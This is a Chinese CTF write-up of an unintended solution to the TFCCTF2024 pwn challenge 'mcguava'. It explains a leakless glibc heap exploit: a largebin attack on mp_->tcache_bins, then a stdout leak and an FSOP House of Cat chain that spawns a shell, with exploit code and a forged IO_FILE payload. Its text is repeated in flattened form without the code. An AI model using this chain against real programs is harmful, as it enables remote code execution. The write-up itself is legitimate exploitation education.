TFCCTF2024 pwn - mcguava 非预期:新的 leakless rce 技巧
字数 2612 2025-11-21 13:16:40

TFCCTF2024 pwn - mcguava 非预期解法:基于 mp_ 结构体的 leakless RCE 技巧

1. 前言

在 TFCCTF2024 的困难 pwn 题 mcguava 中,网上公开的解法大多通过 house of water 技术完成利用。本文介绍一种更优雅的非预期解法,该技巧在 glibc 高版本(包括 2.39)中均可使用,无需信息泄露即可实现 RCE。

2. 新的 leakless RCE 技巧思路

2.1 与经典 house of water 的区别

house of water 技术要点:

  • 通过申请不同大小的 chunk,在 tcache_perthread_struct 中伪造 fake chunk header
  • 通过堆风水布局让伪造的 chunk 被合并到 unsortedbin 中
  • 使得 tcache_perthread_struct 中出现 libc 地址(arena 地址)
  • 通过部分覆盖修改最低 2 字节指向 stdout,修改 stdout 的值泄露地址
  • 最终通过 FSOP 完成 RCE

新的基于 mp_ 的 leakless 技巧:

  • 通过 largebin attack 攻击 mp_->tcache_bins 变量
  • 使更大范围的 chunk 都被识别为 tcache chunk
  • 提前在堆上布局 stdout 指针
  • 通过分配相应大小的 chunk 直接分配 stdout 的地址
  • 修改 stdout 泄露 libc 地址,再通过 FSOP 完成 RCE

2.2 技术优势

  • 概率与 house of water 相同(1/16)
  • 在当前题目场景下只需极少次数的内存分配
  • 利用流程更加简洁

2.3 前置条件

  1. 能够分配内存并写入数据(支持部分覆盖)
  2. 能够释放内存
  3. 存在可促成 largebin attack 的漏洞(UAF、Double-Free、BOF 等)

3. 题目环境分析

3.1 保护机制

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

3.2 程序逻辑

程序是简单的菜单题,只有两个功能:

guava() - 添加功能:

  • 申请最大 0x6FF 大小的内存
  • 可向指定偏移处写入数据(需满足 0 ≤ size2 < size-2
  • 读取大小为 size - size2 的数据(至少 2 字节)
  • 指针存储在全局数组 guava_gius

gius() - 删除功能:

  • 释放指定索引的内存
  • 关键漏洞:不清空指针,导致 UAF 和 Double-Free
  • 最多 255 次分配机会

4. 利用流程详解

4.1 地址爆破场景下的调试技巧

对于 1/16 的地址爆破,可使用以下命令禁用 ASLR 便于调试:

setarch $(uname -m) -R zsh

4.2 布局 stdout 指针

首先在堆上布局指向 stdout 的指针:

# 准备两个指向 stdout 的指针
target = add(0x6f8, 0, b"reserved")  # 为后续 tcache 条目预留
add(0x18, 0, b"aaa") 
dele(target)
target1 = add(0x18, 0, p16(stdout_))
target2 = add(0x6f8-0x20, 0, p16(stdout_))

内存布局示例:

0x55555555a290 0x0000000000000000 0x0000000000000021
0x55555555a2a0 0x00007ffff7faf5c0 0x00007ffff7faefd0  # stdout 指针
0x55555555a2b0 0x000055555555a290 0x00000000000006e1
0x55555555a2c0 0x00007ffff7faf5c0 0x00007ffff7faeb20  # 另一个 stdout 指针

4.3 Heap Fengshui:创造重叠块

这是利用的关键难点,需要为 largebin attack 准备条件。

步骤 1:创建基础布局

idxs = []
for i in range(16):
    idxs.append(add(0xf8, 0, b"filler"))
add(0x18, 0, b"barrier")
la_u = add(0x418, 0, b"component")  # largebin attack 的 unsortedbin 组件
add(0x18, 0, b"a")
for i in range(16):
    dele(idxs[i])

步骤 2:准备 largebin chunk

padding = add(0x4c8-0x20, 0, b"f")
large = add(0x428+0x20, 0, b"1")
dele(large)
dele(padding)

步骤 3:伪造 chunk 元数据

# 伪造 fake nextchunk
add(0xf8, 0, b"a")
dele(idxs[-1])
add(0xf8, 0xd0, pack(0x430)+pack(0x11)+pack(0x440)+pack(0x11))

# 伪造 largebin chunk size
add(0xf8, 0, "a")
dele(idxs[11])
add(0xf8, 0xa8, pack(0x431)+pack(0)*2)

最终内存布局包含一个 0x430 大小的 largebin chunk,其 +0x10 处重叠一个 unsortedbin chunk。

4.4 largebin attack 攻击 mp_ 结构体

mp_ 结构体关键变量

struct malloc_par {
    // ... 其他字段
    size_t tcache_bins;        // tcache 的最大 bin 数量
    size_t tcache_max_bytes;   // tcache 的最大 chunk 大小
    // ... 其他字段
};

目标是通过 largebin attack 修改 mp_->tcache_bins 为堆地址,使超大 chunk 也被识别为 tcache chunk。

攻击步骤

# 释放 0x418 大小的 unsortedbin chunk
dele(la_u)

# 设置 largebin chunk->nextsize_bk 的低 2 字节
dele(idxs[11])
add(0xf8, 0xa8+0x20, p16(mp_ + 0x68 - 0x20))  # 指向 mp_->tcache_bins

# 触发 largebin attack
add(0x6f0, 0, b"111")

攻击成功后,mp_->tcache_bins 被修改为堆地址,使得超大尺寸的 chunk 也会被 tcache 处理。

4.5 利用 stdout 泄露 libc 地址

准备 tcache count

res1 = add(0x18, 0, b"1")
res2 = add(0x28, 0, b"2")
res3 = add(0x38, 0, b"3")
# ... 更多尺寸
dele(res1)
dele(res2)
dele(res3)

修改 stdout 结构泄露地址

# 对应 tcache 的 0x438 和 0x478 尺寸
add(0x438, 0, pack(0xfbad1800)+pack(0)*3+p8(0))
leak = r(8)
leak = unpack(leak)
libc.address = leak - 0x204644

stdout flags 修改说明:

  • 原始值:0xfbad2887
  • 修改值:0xfbad1800 或 0xfbad3887

关键标志位对比:

| 标志位 | 0x1800 (利用) | 0x2887 (原始) | 描述 |
|--------|---------------|---------------|------|
| _IO_IS_FILEBUF | 否 | 是 | 文件缓冲区 vs 字符串缓冲区 |
| _IO_IS_APPENDING | 是 | 否 | 追加模式 |
| _IO_CURRENTLY_PUTTING | 是 | 是 | 正在进行输出操作 |
| _IO_USER_BUF | 否 | 是 | 用户提供缓冲区 |

最关键的是 _IO_IS_APPENDING (0x1000) 位,设置此位可立即输出缓冲区内容。

4.6 House of Emma + House of Cat 组合利用

IO 结构伪造

fp = libc.sym._IO_2_1_stdout_
io_payload = flat({
    0x00: b"/bin/sh\x00",
    0x18: pack(libc.sym.system),        # 触发时调用的函数
    0x20: pack(fp),                     # 满足 write_base < write_ptr
    0x88: pack(fp+8),                   # lock 指针
    0xa0: pack(fp),                     # _wide_data
    0xc0: pack(0),                      # mode
    0xd8: pack(libc.sym._IO_wfile_jumps+0x10),  # vtable 偏移
    0xe0: pack(fp),                     # _wide_vtable
}, filler=b"\x00")

add(0x478, 0, io_payload)

利用链原理

  1. 调用 puts 触发 _IO_sputn
  2. 进入 __GI__IO_wfile_seekoff
  3. 满足条件后调用 __GI__IO_switch_to_wget_mode
  4. 执行 [rax + 0x18] 处的函数(即 system)
  5. 参数为 stdout 结构开头(即 "/bin/sh")

关键检查条件:

  • write_base < write_ptr:通过设置 0x20 处的大值满足
  • rax 来自 [stdout+0xa0]+0xe0]:通过伪造结构控制

5. 完整利用代码要点

# 触发 largebin 排序
dele(large)
tmp = add(0x438+0x80, 0, b"1")
tmp2 = add(0x438, 0x20, b"2")

# largebin attack
dele(la_u)
dele(idxs[11])
add(0xf8, 0xa8+0x20, p16(mp_ + 0x68 - 0x20))
add(0x6f0, 0, b"111")

# 准备 tcache
dele(res1); dele(res2); dele(res3)

# 泄露 libc
add(0x438, 0, pack(0xfbad3887)+pack(0)*3+p8(0))
leak = unpack(r(8))
libc.address = leak - 0x204644

# FSOP
add(0x478, 0, io_payload)
# 触发 getshell

6. 总结

本文详细介绍了一种新的 leakless RCE 技巧,主要特点包括:

  1. 基于 mp_ 结构体:通过修改 tcache_bins 扩大 tcache 处理范围
  2. 无需信息泄露:通过部分覆盖和堆布局实现利用
  3. 高版本兼容:在 glibc 2.39 等新版本中有效
  4. 利用效率高:相比 house of water 需要更少的内存操作

该技巧为 leakless 场景下的漏洞利用提供了新的思路,在合适的漏洞条件下可以高效实现 RCE。

7. 参考资料

  1. glibc 2.39 源码
  2. 堆利用详解:house of cat(含 2.35 & 2.39 IO 伪造过程分析)
  3. 2025 强网杯S9 pwn - bph 复盘详解
TFCCTF2024 pwn - mcguava 非预期解法:基于 mp_ 结构体的 leakless RCE 技巧 1. 前言 在 TFCCTF2024 的困难 pwn 题 mcguava 中,网上公开的解法大多通过 house of water 技术完成利用。本文介绍一种更优雅的非预期解法,该技巧在 glibc 高版本(包括 2.39)中均可使用,无需信息泄露即可实现 RCE。 2. 新的 leakless RCE 技巧思路 2.1 与经典 house of water 的区别 house of water 技术要点: 通过申请不同大小的 chunk,在 tcache_perthread_struct 中伪造 fake chunk header 通过堆风水布局让伪造的 chunk 被合并到 unsortedbin 中 使得 tcache_perthread_struct 中出现 libc 地址(arena 地址) 通过部分覆盖修改最低 2 字节指向 stdout,修改 stdout 的值泄露地址 最终通过 FSOP 完成 RCE 新的基于 mp_ 的 leakless 技巧: 通过 largebin attack 攻击 mp_->tcache_bins 变量 使更大范围的 chunk 都被识别为 tcache chunk 提前在堆上布局 stdout 指针 通过分配相应大小的 chunk 直接分配 stdout 的地址 修改 stdout 泄露 libc 地址,再通过 FSOP 完成 RCE 2.2 技术优势 概率与 house of water 相同(1/16) 在当前题目场景下只需极少次数的内存分配 利用流程更加简洁 2.3 前置条件 能够分配内存并写入数据(支持部分覆盖) 能够释放内存 存在可促成 largebin attack 的漏洞(UAF、Double-Free、BOF 等) 3. 题目环境分析 3.1 保护机制 3.2 程序逻辑 程序是简单的菜单题,只有两个功能: guava() - 添加功能: 申请最大 0x6FF 大小的内存 可向指定偏移处写入数据(需满足 0 ≤ size2 < size-2 ) 读取大小为 size - size2 的数据(至少 2 字节) 指针存储在全局数组 guava_gius 中 gius() - 删除功能: 释放指定索引的内存 关键漏洞:不清空指针 ,导致 UAF 和 Double-Free 最多 255 次分配机会 4. 利用流程详解 4.1 地址爆破场景下的调试技巧 对于 1/16 的地址爆破,可使用以下命令禁用 ASLR 便于调试: 4.2 布局 stdout 指针 首先在堆上布局指向 stdout 的指针: 内存布局示例: 4.3 Heap Fengshui:创造重叠块 这是利用的关键难点,需要为 largebin attack 准备条件。 步骤 1:创建基础布局 步骤 2:准备 largebin chunk 步骤 3:伪造 chunk 元数据 最终内存布局包含一个 0x430 大小的 largebin chunk,其 +0x10 处重叠一个 unsortedbin chunk。 4.4 largebin attack 攻击 mp_ 结构体 mp_ 结构体关键变量 目标是通过 largebin attack 修改 mp_->tcache_bins 为堆地址,使超大 chunk 也被识别为 tcache chunk。 攻击步骤 攻击成功后, mp_->tcache_bins 被修改为堆地址,使得超大尺寸的 chunk 也会被 tcache 处理。 4.5 利用 stdout 泄露 libc 地址 准备 tcache count 修改 stdout 结构泄露地址 stdout flags 修改说明: 原始值:0xfbad2887 修改值:0xfbad1800 或 0xfbad3887 关键标志位对比: | 标志位 | 0x1800 (利用) | 0x2887 (原始) | 描述 | |--------|---------------|---------------|------| | _ IO_ IS_ FILEBUF | 否 | 是 | 文件缓冲区 vs 字符串缓冲区 | | _ IO_ IS_ APPENDING | 是 | 否 | 追加模式 | | _ IO_ CURRENTLY_ PUTTING | 是 | 是 | 正在进行输出操作 | | _ IO_ USER_ BUF | 否 | 是 | 用户提供缓冲区 | 最关键的是 _IO_IS_APPENDING (0x1000) 位,设置此位可立即输出缓冲区内容。 4.6 House of Emma + House of Cat 组合利用 IO 结构伪造 利用链原理 调用 puts 触发 _IO_sputn 进入 __GI__IO_wfile_seekoff 满足条件后调用 __GI__IO_switch_to_wget_mode 执行 [rax + 0x18] 处的函数(即 system) 参数为 stdout 结构开头(即 "/bin/sh") 关键检查条件: write_base < write_ptr :通过设置 0x20 处的大值满足 rax 来自 [stdout+0xa0]+0xe0] :通过伪造结构控制 5. 完整利用代码要点 6. 总结 本文详细介绍了一种新的 leakless RCE 技巧,主要特点包括: 基于 mp_ 结构体 :通过修改 tcache_bins 扩大 tcache 处理范围 无需信息泄露 :通过部分覆盖和堆布局实现利用 高版本兼容 :在 glibc 2.39 等新版本中有效 利用效率高 :相比 house of water 需要更少的内存操作 该技巧为 leakless 场景下的漏洞利用提供了新的思路,在合适的漏洞条件下可以高效实现 RCE。 7. 参考资料 glibc 2.39 源码 堆利用详解:house of cat(含 2.35 & 2.39 IO 伪造过程分析) 2025 强网杯S9 pwn - bph 复盘详解